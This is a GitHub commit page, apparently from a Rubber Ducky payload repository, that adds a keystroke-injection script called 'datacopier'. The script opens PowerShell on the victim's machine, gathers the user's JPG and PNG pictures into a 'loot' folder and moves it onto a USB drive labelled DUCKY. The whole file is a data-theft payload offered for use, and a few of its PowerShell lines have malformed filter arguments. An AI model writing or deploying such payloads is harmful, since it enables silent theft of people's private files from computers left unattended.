Merge pull request #23 from poundplay/patch-1

Create datacopier
pull/25/head
Darren Kitchen 2021-10-12 13:36:06 -04:00 committed by GitHub
commit 187ec634d5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 0 deletions

View File

@ -0,0 +1,31 @@
REM Written and tested by Dante Sparda
REM this took a lot of digging and research. please use responsibly.
REM i wrote this on a wim but of course you can filter whatever you want to the loot folder
REM I used some premise i found below and modified what i needed
REM https://www.mathewjbray.com/powershell/powershell-get-drive-letters-by-volume-name-and-execute-robocopy/
DELAY 1000
GUI R
DELAY 1000
STRING powershell.exe
ENTER
DELAY 3000
STRING cd C:\Users\$env:Username\Pictures\
ENTER
STRING get-childitem -Filter *.JPG", *.PNG" -path "C:\Users\$env:Username\Pictures\"
ENTER
STRING Copy-Item -path "C:\Users\$env:Username\Pictures\" -include "*.JPG", "*.PNG" -Destination "C:\Windows\Temp" -Force -PassThru
ENTER
STRING cd C:\Windows\Temp
ENTER
STRING mkdir loot
ENTER
STRING $destinationLabel = "DUCKY"
ENTER
STRING $destinationLetter = Get-WmiObject -Class Win32_Volume | where {$_.Label -eq $destinationLabel} | select -expand name
ENTER
STRING get-childitem -Filter .jpg*, .png* -path C:\Windows\Temp | move-item -Destination "C:\Windows\Temp\loot"
ENTER
STRING move-item -path C:\Windows\Temp\loot -Destination $destinationLetter
ENTER
END